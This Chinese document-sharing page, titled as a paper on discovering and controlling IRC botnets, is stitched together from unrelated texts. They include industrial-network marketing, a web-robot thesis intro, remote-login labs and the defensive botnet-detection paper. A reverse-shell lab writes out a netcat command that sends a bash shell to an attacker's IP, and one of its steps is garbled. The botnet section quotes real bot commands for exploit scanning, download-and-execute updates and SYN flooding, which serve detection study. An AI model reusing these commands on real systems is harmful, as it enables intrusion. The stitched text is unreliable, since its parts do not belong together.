BOTNET的发现与控制(cuix-20050525)
- 格式:pdf
- 大小:178.97 KB
- 文档页数:7
CONTROLNET 网络面向关键应用地高度稳定、高度确定、安全的I/O网络ControlNet 网络是开放、技术先进的控制网络,满足实时性、高吞吐量应用的要求。
ControlNet 网络采用在工业通讯领域广为证实的通用工业协议CIP (Common Industrial Protocol, 原控制和信息协议),融合了I/O控制和对等通讯的网络功能,并为这两种网络功能提供高速、高性能的网络通讯。
ControlNet 网络除了为关键任务提供确定的、可重复的控制数据传输,还支持非关键数据的传送。
I/O的刷新和控制器到控制器的互锁永远比程序的上载/下载、消息传送(Messaging)等占有更高的优先级。
ControlNet 特色开放现场总线IEC61158和欧洲标准EN50170在同一链路上完整实现网络浏览、程序上载/下载、诊断、控制器间的互锁,I/O控制等全部网络通讯要求,并且不会影响对时间要求较高的I/O数据通讯。
灵活的通讯选择 (同轴电缆、光缆、光纤环网),介质冗余,支持本质安全(intrinsically-safe)高速的数据吞吐能力(5Mbps恒定网络速率),优异的 I/O 传送和控制器间互锁性能。
单个网络最大支持99个站点,节点间没有最小距离限制。
可选通用介质、柔性介质,多种防护方式,满足阻燃型、地埋型、架空型、铠装型、防腐型安装要求。
丛网络上任何节点都可以访问到控制器和整个网络,方便进行编程(需通过密码检验)和系统故障排查。
支持I/O数据和对等数据的多路发送(Multicast),提升网络效率可组态、性能预知、可保证的、可重复的离散和模拟I/O数据网络刷新性能(支持RPI设定)生产者/消费者(Producer / Consumer)网络服务支持您在同一链路上完整实现设备组态(configure)、实时控制(control)、信息采集(collect)等全部网络功能。
支持对FF基金会现场总线的集成。
Webot的网络远程控制研究周艇(理学院应用物理系应用物理学专业)第一章概述1.1引言随着当前网络浪潮的扑面而来,网络技术日新月异,越来越多的网络新技术应用于Internet,使得当今在Internet上展现给我们的是一个五彩缤纷的全新世界,网络给予了人们前所未有的方便和快捷。
“网络机器人”是近年来提出的一个将机器人技术和网络技术相结合的全新概念。
自万维网(WWW)问世以来,整个世界进入了网络时代。
而机器人领域一直在研究远程机器人,如何将机器人与网络联结,开拓出网络机器人领域,一直是吸引各国科研机构研究兴趣的项目。
随着网络机器人的开发和投入使用,必将深刻影响人类的社会生活。
网络机器人可以广泛应用在工业生产、医疗诊断、远程教育、管理、监控、游戏甚至人类的日常生活中。
比如,对于21世纪初期开始的社会高龄化问题,我们可以开发一套“机器人远程健康监控系统”。
它可以用来对人们的日常生活中,睡眠、吃饭、沐浴、排泄等一系列生理活动进行长时间测定,而使用者可无意识的、随意做任何事情,测定的数据自动送到远程管理中心进行分析,若发现异常立即进行诊断和治疗。
我们可以设定一些老人在日常生活中需测定的生理量:如床上需要测的有体温、体动、睡眠时间、心电图、心率、呼吸;在浴池中需要测的有脉搏跳动速度;在洗手间需要测的有体重、排泄量、血液成分等。
然后可以开发采用视觉的自动诊断系统,用它对睡眠时无呼吸症状的疾病进行自诊断。
还可以开发一些更简单的辅助系统,如使用在家庭热水壶上的传感器,它可以随时将热水的情况数据送到监视中心,以保障独居老人安全的系统,进行这些方面的试验,都是些产品化很强的项目。
1.2Webot的概念对于网络机器人,已有很多不同的定义,但还没有一个统一的标准。
当前比较通用的是把网络机器人定义为:以标准通信协议和标准人- 机接口作为基础,再将它们与有实际观测操作技能的机器人融合在一起,即可实现无论什么时候、无论在哪儿、无论谁都能使用的远程环境观测、操作系统,这就是网络机器人“Webot”。
第20课远程登录与远程控制一、实验名称远程登陆与远程控制。
二、实验目标通过Telnet命令实现远程登录;并通过远程控制软件实现远程控制目标机。
三、实验的具体操作步骤1.远程登录。
(1)在“命令提示符”窗口中,键入“telnet ”指令,如图20-3-1所示。
图20-3-1输入远程登录命令(2)按回车键,出现如图20-3-2所示界面,表示成功远程登录上海交大饮水思源BBS 站。
图20-3-2 上海交大饮水思源BBS站(3)输入用户名与密码(首次使用可以用guest登录或注册一个用户),如图20-3-3所示。
图20-3-3 登录到饮水思源BBS站(4)登录后,就可以浏览自己感兴趣的内容,如图20-3-4所示。
图20-3-4 BBS站浏览页面2.使用远程控制软件进行远程控制。
(1)在目标机和控制机上分别安装Radmin软件。
到因特网上下载Radmin软件,双击RAdmin2.1_HQB.exe,按照安装提示进行安装。
(2)单击“开始”,在“所有程序”菜单下的“Remote Administrator 2.1中文版”子菜单中,可以看到Radmin软件菜单下有Radmin查看器、Radmin设置、打开服务、停止服务等功能,如图20-3-5所示。
图20-3-5 运行Radmin软件(3)首先,在目标机上单击“开始”→“所有程序”→“Remote Administrator 2.1中文版”→“开始服务”命令,启动目标机的被远程控制功能。
(4)然后在控制机上,单击“开始”→“所有程序”→“Remote Administrator 2.1中文版”→“Radmin查看器”命令,启动Radmin软件。
Radmin工作窗口如图20-3-6所示。
图20-3-6 Radmin软件工作窗口(5)单击菜单栏“连接”中的“连接到”命令,出现“连接到”对话框。
在“连接到”对话框中输入目标机的IP地址,如图20-3-7所示。
图20-3-7 填写目标机IP地址(6)单击“连接”按钮,这时控制机的桌面上会显示目标机的桌面窗口,如图20-3-8所示。
一、实验目的1. 理解反向远程控制技术的原理和实现方式。
2. 学习使用常见工具(如netcat)构建反向连接。
3. 掌握通过反向连接进行远程操作的基本步骤。
4. 分析反向远程控制技术的应用场景和潜在风险。
二、实验内容与原理1. 反向远程控制原理反向远程控制技术,又称为反弹shell技术,是一种通过被攻击者主动连接攻击者服务器的方式实现的远程控制技术。
其基本原理如下:- 攻击者在自己的计算机上设置一个监听端口,等待被攻击者的连接。
- 被攻击者在自己的计算机上执行特定代码,主动连接攻击者的监听端口。
- 一旦连接建立,攻击者就可以通过这个连接对被攻击者计算机进行远程控制。
2. 实现工具本次实验使用netcat(nc)工具进行反向连接的建立和远程操作。
三、实验步骤1. 准备工作- 在攻击者计算机上安装netcat工具。
- 在被攻击者计算机上安装netcat工具(可选)。
2. 建立反向连接(以下步骤以攻击者使用Linux系统为例)- 在攻击者计算机上,打开终端,使用以下命令启动netcat监听端口:```nc -lvp 1234```这条命令将在本地计算机上监听1234端口,等待被攻击者的连接。
- 在被攻击者计算机上,打开终端,使用以下命令执行反弹shell代码:```nc <攻击者IP地址> 1234 -e /bin/bash```这条命令将在被攻击者计算机上创建一个反向连接,并将命令行的输入输出重定向到攻击者的netcat监听程序。
3. 远程操作- 在攻击者计算机上,使用以下命令查看被攻击者计算机的命令行:```nc <被攻击者IP地址> 1234```- 在被攻击者计算机上,输入命令进行远程操作。
4. 实验结束- 在被攻击者计算机上,关闭netcat进程。
四、实验结果与分析1. 实验结果通过以上步骤,成功建立了反向连接,并在攻击者计算机上实现了对被攻击者计算机的远程操作。
2. 分析- 反向远程控制技术具有以下优点:- 避免了直接通过防火墙的端口映射,降低了被检测到的风险。
目录前导实验添加常用服务以及设置网络属性 (1)实验一制作双绞线RJ-45接头 (5)实验二小型局域网的组建 (6)实验三以太网帧的构成 (8)实验四地址解析协议ARP (10)实验五 INTERNET控制报文协议 (11)实验六路由信息协议RIP (13)实验七网际协议IP (14)实验八 TCP、UDP和端口扫描 (16)附录: IIS之常见问题解答 (26)前导实验添加常用服务以及设置网络属性一、常用服务简介1、DNS(Domain Name System):域名系统。
它为Internet(因特网)上的计算机提供名称(即如“.abc.”的域名)到地址(即如“192.168.0.48”的IP地址)的映射服务以用于域名解析。
2、IIS(Internet Infomation Server):Internet信息服务。
它是一种Web服务,主要包括WWW服务器、FTP服务器等。
它使得在Intranet(局域网)或Internet(因特网)上发布信息很容易。
Windows 2000 Advanced Server上提供的为IIS 5.0。
3、DHCP(Dynamic Host Configure Protocol):动态主机配置协议。
它是设计用于简化管理地址配置的TCP/IP标准。
它使用服务器集中管理 IP 地址以及在您的网络上使用的其他相关配置(比如网关、DNS服务器等)的详细信息。
二、添加DNS、IIS和DHCP服务1、添加IIS。
选“控制面板→添加/删除程序→添加/删除Windows组件→Internet信息服务→全选”。
2、添加DHCP和DNS。
选“控制面板→添加/删除程序→添加/删除Windows组件→网络服务→选中:动态主机配置协议DHCP→选中:域名服务系统DNS”。
3、添加成功后,不需重新启动,即可在“开始→程序→管理工具”中看到并使用相关服务。
如下图:三、网络属性设置要使用以上所述服务,本机必须要有静态(即固定)的IP地址。
Botnet的发现与控制摘要:本文描述了Botnet的网络行为以及通过IDS和Honeypot发现Hotnet的方法并对比了两者的利弊。
阐述了控制Botnet的前提和方法。
最后说明了近期和长期的研究重点。
声明:如果特殊说明,本文的数据都来自CNCERT/CC。
本文所说的Bot和Botnet默认是指IRC类型的。
BOTNET的发现(Botnet Tracking)一.僵尸程序与控制者的网络行为无论是僵尸程序(Bot)还是控制者(Controller),都必须与Comande and Control Server(简写为C&C S)通信。
Bot与C&C S通信的目的是1)接收控制命令2)汇报工作状态;控制者的目的是1)发送控制命令2)掌握Botnet 的运行情况。
一般地,Bot启动后,会主动与C&C S通信,通信过程如下:1.建立连接如果bot内置了C&C S的域名,则先解析域名;为了灵活和安全,bot通常采用动态域名。
当一个C&C S所在主机被破坏后,可以切换到另一个C&C S,保证botnet继续运行。
通常,C&C S也是一台被控制的主机。
为增强安全性,有的C&C S还设置了连接密码。
连接密码在tcp三次握手后,通过PASS命令发送(注释1):->PASS ConnetionPass\n2.发送NICK和USER命令NICK通常有一个固定的前缀,如CHN!2345、[Nt]-15120、ph2-1234。
->NICK [Nt]1234\r\nUSER [Nt]1234 0 0 :[Nt]1234\r\n3.加入预定义的频道频道名一般硬编码在Bot体内。
->JOIN #mole-phat2\n为增强安全性,有的控制者为频道设定了密码。
CNCERT/CC的监测数据表明,规模较大(控制1万台以上计算机)的Botnet通常设置了频道密码,但设置服务器连接密码的Botnet还在少数。
加入含有密码的频道的命令为:->JOIN #mole-phat2 deddyman\n设置频道密码的命令为:->MODE #mole-phat2 +k deddyman\n使用该命令的客户端可能是控制者或代理。
4.将频道主题解释为控制命令执行(可选)Bot加入频道后,通常会将频道主题(TOPIC)作为命令执行,典型的TOPIC类似于1).advscan lsass 200 5 0 -r –s含义是利用LSASS漏洞,启动200个并发线程,在5秒钟以后开始随机(-r = random)扫描,扫描结果不用向服务器汇报(-s = silent) 2).http.update http:/server/rBot.exe c:\rBot.exe 1含义是从server下载rBot.exe文件,保存到c:盘并执行(参数1)。
CNCERT/CC监测发现,有的控制者还通过设置频道TOPIC通知Bot 转移到新的频道,该TOPIC为“JOIN #newchannel”。
5.向频道发送状态信息Bot收到控制者命令后,按照命令参数决定是否向频道发送执行命令 的情况,上例中的’-s’参数指示Bot保持沉默。
如果不加这个参数,Bot 可能会向频道发送大量状态信息,如:->PRIVMSG #!nt :Downloading /update.exe c:\rBot.exe 1\n ->PRIVMSG #ntscan[SCAN] : Random Port Scan started on 61.181.x.x:445 with a delay of 5 seconds for 0 minutes using 120 threads.\n->PRIVMSG #xtc-scan :CSendFile(0x007AEEC0h): Transfer to 61.151.24.101 finished.以上为bot和C&C S的通信内容,下面再看控制者和C&C S的通信。
控制者通过C&C Server控制整个botnet的过程如下。
1.认证(authenticate)自己控制者首先作为一个普通用户登陆C&C S,加入和Bot同样的频道。
在此阶段,他的通信过程与bot没有差别。
之后,控制者使用.login、!logon、!auth诸如此类的命令认证自己。
服务器将该信息转发给频道内所有的bot,bot将该密码与硬编码在文件体内的密码比较,相同则将该用户的nick名称记录下来,以后可以执行该用户发送的命令。
对于复杂点的认证方式,还包括host名的认证和密码的加密机制。
下面以rBot v0.6.5为例,它的认证过程如下。
1)控制者发送认证命令给C&C S;->PRIVMSG #rbot .login password –s\n发送该消息的源地址是可疑的控制者IP。
2)C&C S将消息转发给频道内所有bot;<-:ControllerNICK!ControllerUSER@host PRIVMSG #rbot :.login password -s\r\n 有时我们不能监测到1)的消息,但可以获得2)的消息,同样可能提取出可疑的控制者IP。
该消息的源地址为C&C S,目的地址为Bot所在主机,但 host信息可能携带控制者IP,这种情况是常见的。
<-:ControllerNICK!ControllerUSER@202.108.1.1 PRIVMSG #rbot :.login password -s\r\n说明202.108.1.1的主机曾经向C&C Server发送.login消息。
3)RBot可以根据C&C S转发的消息,同时获得发送消息用户(控制者)的NICK(ControllerNICK)、USER(ControllerUSER)、host、命令(.login)和命令参数(password -s)。
rBot首先验证密码是否正确,它将密码进行编码后和体内硬编码的密码(编码后存储,预防静态分析)进行比较,相同后再比较user和host是否满足条件。
rBot硬编码了两类可信任的用户和host,分别为*@*.net和"*@*.com" ,含义为来自.net 或.com的任意用户。
RBot定义了通配符,如果host中包含.com或.net 字符串,则任意用户名(*)都会匹配成功。
4)‘-s’参数是可选的,是silent的含义。
如果不加该参数,收到该命令的bot会向所在频道发送状态信息,类似于:->PRIVMSG #rbot :password accepted\n2.发送控制命令控制者向频道发送控制命令除了内容以外,和Bot发送的消息相同。
如:->PRIVMSG #rbot :.syn 80 200\n含义为向的80端口发送200个syn报文。
可以发现,这种控制方法在安全性和效率方面都有问题。
原因1)只有当前在此频道的bot才能接受到该命令,晚些时候加入该频道的bot则无法收到这条命令;2)消息内容高度可疑,与Bot汇报自身状态的消息语气不同,容易暴露控制者的身份。
攻击者越少出现在网络上就越安全。
为此,通过频道TOPIC命令进行控制是目前多数Botnet采用的方式【1】。
通过设置频道的TOPIC,可以很好地解决上述问题。
方法如下。
1)控制者设置频道TOPIC->TOPIC #rbot :.syn 80 200\n2)C&C S将改变的频道TOPIC通知频道内所有Bot<-:ControllerNICK!~ControllerUSER@host TOPIC #rbot :.syn 80200\n \r\n3)频道内的Bot将TOPIC解释为控制命令执行4)新加入频道的Bot必然会收到该TOPIC,同样将其作为命令执行当控制者希望执行新命令时,只需改变TOPIC即可。
CNCERT/CC的监测数据表明,多数Botnet的频道主题都是扫描相关的,也就是Botnet平时以扩散为主。
另外一些Botnet在更新自身。
ipscan s.s.s.s dcom2 86400 256 8000 –sdownload /df.exe c:\windows\defrag32.exe -e –s二.利用IDS监测发现Botnet前面描述了Bot和控制者与C&C S之间的的通信内容与格式,利用IDS 可以监测到上述全部信息。
要求IDS具有IRC协议解析的能力,可以识别常见命令,如PASS、PRIVMSG、NICK、TOPIC、NOTICE等。
IDS 的部署范围和位置也很重要。
三.利用蜜罐(Honeypot)发现Botnet部署多个Honeypot(也就是Honeynet)捕获传播中的bot,记录该bot的网络行为(通过Honeywall记录)。
通过人工分析网络日志并结合样本分析结果,可以掌握该bot的属性,包括它连接的服务器(dns/ip)、端口、频道、密码、控制口令等信息,从而获得该botnet的控制权。
实验表明,一台未打补丁的windows主机,接入互联网后平均25分钟[2]即可感染恶意程序。
所以,利用蜜罐可以捕获大量的bot,从发现大量Botnet。
四.IDS与Honeypot发现Botnet能力的对比1.发现的Botnet类型和范围不同IDS只能发现监测范围之内的bot活动,而位于互联网任何一个位置的Honeypot有可能捕获任意有传播能力的bot,进而发现该bot所在的botnet;但是,Honeypot不能发现停止传播而单纯执行命令的bot,也不能发现对Honeypot系统无攻击能力的bot,而IDS则不存在这些问题。
2.HoneyPot具有更强的收集消息能力IDS的监测方法是相对单一的,它必须针对某种已知的(IRC)协议监测符合条件的网络通信内容。
如果Bot采用了非IRC协议或与IRC RFC不兼容的修改版本,IDS就不能发现它们的活动。
而Honeypot则不存在这个问题,它捕获的bot会收到来自botnet(包括控制命定)的所有消息,无论与IRC协议是否相关。
3.IDS有更强的发现控制者的能力C&C S收到控制者的命令后,会将该命令转发给所有bot,而转发的信息中可能隐藏了控制者的地址,这使得Honeypot难以发现控制者的地址,而IDS则有潜力发现控制者的活动,即使控制者通过代理连接C&C S。
举例,控制者通过socks v4代理向Server发送一个”TOPIC#rBot :.advscan lsass 200 5 0 -r –s”的命令的过程:1)源地址为控制者,目的地址为代理->TOPIC #rBot :.advscan lsass 200 5 0 -r –s\n2)源地址为代理,目的地址为C&C S->TOPIC #rBot :.advscan lsass 200 5 0 -r –s\n3) 源地址为C&C S,目的地址分别为Botnet内每一个bot<-:ControllerNICK!ControllerUSER@socks(HOST or IP) TOPIC #rBot :.advscan lsass 200 5 0 -r –s\r\n上述网络通信内容可以被IDS发现,而honeypot捕获的bot只能收到最后一条(3)消息,honeypot可以从这条消息中发现代理的IP、部分IP或编码过的IP,因为获得的是代理的IP,就丢失了发现控制者的机会。